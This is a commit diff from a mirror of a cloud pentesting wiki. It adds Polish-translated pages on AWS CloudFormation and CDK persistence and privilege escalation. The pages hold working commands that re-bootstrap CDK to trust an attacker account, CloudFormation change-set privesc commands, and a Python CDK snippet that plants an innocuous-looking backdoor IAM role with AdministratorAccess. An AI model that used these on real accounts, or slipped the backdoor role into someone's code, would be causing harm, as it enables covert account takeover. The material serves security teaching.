mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Aby uzyskać więcej informacji, uzyskaj dostęp do:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK wdraża stos CFN o nazwie `CDKToolkit`. Ten stos obsługuje parametr `TrustedAccounts`, który pozwala zewnętrznym kontom na wdrażanie projektów CDK w koncie ofiary. Atakujący może to wykorzystać, aby przyznać sobie nieograniczony dostęp do konta ofiary, korzystając z AWS cli do ponownego wdrożenia stosu z parametrami lub z AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+52
-7
@@ -24,7 +24,7 @@ Na poniższej stronie masz **przykład eksploatacji** z dodatkowym uprawnieniem
|
||||
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
{{#endref}}
|
||||
|
||||
**Potencjalny wpływ:** Privesc do roli serwisowej cloudformation.
|
||||
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która została określona.
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
@@ -43,7 +43,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
|
||||
Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
|
||||
|
||||
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku.
|
||||
|
||||
@@ -53,7 +53,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
|
||||
|
||||
Napastnik z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack.
|
||||
|
||||
Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu.
|
||||
Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
|
||||
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do ról serwisowych cloudformation.
|
||||
|
||||
@@ -89,7 +89,7 @@ To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już przypisana.
|
||||
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już dołączona.
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
@@ -99,12 +99,57 @@ Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSe
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation.
|
||||
Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation.
|
||||
**Potencjalny wpływ:** Privesc do dołączonych ról cloudformation.
|
||||
|
||||
## AWS CDK
|
||||
|
||||
AWS cdk to zestaw narzędzi umożliwiający użytkownikom definiowanie ich infrastruktury jako kodu w językach, które już znają, a także łatwe ponowne używanie sekcji. CDK następnie przekształca kod wysokiego poziomu (tj. python) w szablony Cloudformation (yaml lub json).
|
||||
|
||||
Aby używać CDK, użytkownik administracyjny musi najpierw uruchomić bootstrap konta, co tworzy kilka ról IAM, w tym *rolę exec*, która ma uprawnienia \*/\*. Te role mają strukturę nazewnictwa `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrap musi być wykonany raz na region na konto.
|
||||
|
||||
Domyślnie użytkownicy CDK nie mają dostępu do listy ról potrzebnych do używania CDK, co oznacza, że będziesz musiał je określić ręcznie. Jeśli przejmiesz maszynę dewelopera lub jakiś węzeł CI/CD, te role mogą być przyjęte, aby przyznać sobie możliwość wdrażania szablonów CFN, używając roli `cfn-exec`, aby umożliwić CFN wdrażanie dowolnych zasobów, całkowicie kompromitując konto.
|
||||
|
||||
### Określenie nazw ról
|
||||
|
||||
Jeśli masz `cloudformation:DescribeStacks`, role są zdefiniowane w stosie o nazwie `CDKToolkit`, a możesz pobrać nazwy stamtąd.
|
||||
|
||||
Jeśli jesteś na maszynie, która była używana do budowy i wdrażania projektów CDK, możesz je pobrać z `cdk.out/manafest.json` w głównym katalogu projektów.
|
||||
|
||||
Możesz również dobrze zgadnąć, jakie one są. `qualifier` to ciąg dodawany do ról, umożliwiający jednoczesne wdrażanie wielu instancji bootstrap CDK, jednak domyślna wartość jest zakodowana na `hnb659fds`.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Dodawanie złośliwego kodu do źródła projektu
|
||||
|
||||
Jeśli możesz pisać do źródła projektu, ale nie możesz go samodzielnie wdrożyć (na przykład, deweloper wdraża kod za pomocą CI/CD, a nie lokalnej maszyny), nadal możesz skompromitować środowisko, dodając złośliwe zasoby do stosu. Poniższe dodaje rolę IAM, która może być przyjęta przez konto atakującego do projektu python CDK.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+9
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFormation
|
||||
|
||||
AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główna cecha tej usługi to **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS.
|
||||
AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główną cechą tej usługi jest **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -37,13 +37,19 @@ Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień cloudformat
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Sprawdź **sekrety** lub wrażliwe informacje w **szablonie, parametrach i wynikach** każdego CloudFormation
|
||||
Sprawdź **sekrety** lub wrażliwe informacje w **szablonie, parametrach i wyjściu** każdego CloudFormation
|
||||
|
||||
## Codestar
|
||||
|
||||
AWS CodeStar to usługa do tworzenia, zarządzania i pracy z projektami rozwoju oprogramowania na AWS. Możesz szybko rozwijać, budować i wdrażać aplikacje na AWS za pomocą projektu AWS CodeStar. Projekt AWS CodeStar tworzy i **integruje usługi AWS** dla twojego narzędzia do rozwoju projektu. W zależności od wybranego szablonu projektu AWS CodeStar, to narzędzie może obejmować kontrolę wersji, budowę, wdrożenie, serwery wirtualne lub zasoby bezserwerowe i inne. AWS CodeStar również **zarządza uprawnieniami wymaganymi dla użytkowników projektu** (nazywanych członkami zespołu).
|
||||
AWS CodeStar to usługa do tworzenia, zarządzania i pracy z projektami rozwoju oprogramowania na AWS. Możesz szybko rozwijać, budować i wdrażać aplikacje na AWS za pomocą projektu AWS CodeStar. Projekt AWS CodeStar tworzy i **integruje usługi AWS** dla twojego narzędzia do rozwoju projektu. W zależności od wybranego szablonu projektu AWS CodeStar, to narzędzie może obejmować kontrolę wersji, budowanie, wdrażanie, wirtualne serwery lub zasoby bezserwerowe i inne. AWS CodeStar również **zarządza uprawnieniami wymaganymi dla użytkowników projektu** (nazywanych członkami zespołu).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user